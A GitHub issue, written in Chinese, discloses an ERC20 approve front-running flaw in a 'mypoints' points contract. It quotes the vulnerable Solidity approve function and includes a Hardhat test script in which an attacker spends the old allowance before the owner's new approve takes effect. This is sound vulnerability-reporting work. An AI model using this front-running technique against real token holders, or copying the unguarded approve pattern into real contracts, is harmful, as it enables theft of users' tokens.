Skip to content

Problematic code design that allows attacker to front-run #109

Description

@InPlusLab

漏洞描述

在business_template/red_packet项目中,mypoints 是一个符合ERC20代币标准的积分代币合约,支持用户将自己的积分授权给其他用户使用,即用户A可以授权用户B直接使用指定数量的积分。该功能的核心是通过allows 变量记录用户之间的授权积分数量,其中缺省值代表授权数量为零。用户可以通过 approve 函数修改自己给其他用户授权的积分数量 allows。

正常情况:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A首先通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。然后用户B发布一笔调用 transferFrom 函数的交易转走用户A的50个积分。此时,用户A对用户B的授权数量会修改为0个积分。

攻击方法:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A同样通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。但是用户B(攻击者)监听到这笔交易,此时用户B发布一笔调用 transferFrom 函数的交易抢先在用户A发布的交易生效前转走用户A给自己授权的100个积分,此时用户A对用户B的授权数量改为0个积分。然后用户A的 approve 交易才生效,此时用户A对用户B的授权数量又被修改为50个积分。最终用户B又可以在用户A未经许可的情况下调用 transferFrom 函数转走用户A的50个积分。

漏洞代码片段

function approve(address _spender, uint256 _value) override external returns (bool success) {
   success = false;
   require(_value > 0, "_value must > 0");
   require(address(0) != _spender, "_spender must a valid address");
   require(balances[msg.sender] >= _value, "user's balance must enough");
   
   allows[msg.sender][_spender] = _value;
   
   emit Approval(msg.sender, _spender, _value);
   success = true;
   return true;
}

漏洞复现脚步

describe("testing mypoints", function (){
  let mypoints;
  let owner;
  let userA;
  let attacker;
  // depoly mypoints contract before testing
  beforeEach(async function(){
    [owner, userA, attacker] = await ethers.getSigners();
    const Mypoints = await ethers.getContractFactory("mypoints");
    mypoints = await Mypoints.deploy("mypoints_name","mypoints_symbol"); 
    await mypoints.connect(owner).mint(userA.address, 150);
    await mypoints.connect(userA).approve(attacker.address, 100);
  })
  
  it("Should successfully attack", async function(){
    console.log("before the attack");
    console.log("balance of userA =", await mypoints.balanceOf(userA.address));
    console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
    console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
    // attacker steal 100 token from userA before userA invoking approve
    await mypoints.connect(attacker).transferFrom(userA.address, attacker.address, 100);
    await mypoints.connect(userA).approve(attacker.address, 50);
  
    console.log("after the attack");
    console.log("balance of userA =", await mypoints.balanceOf(userA.address));
    console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
    console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
  })
})

结果截图
Picture 1

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions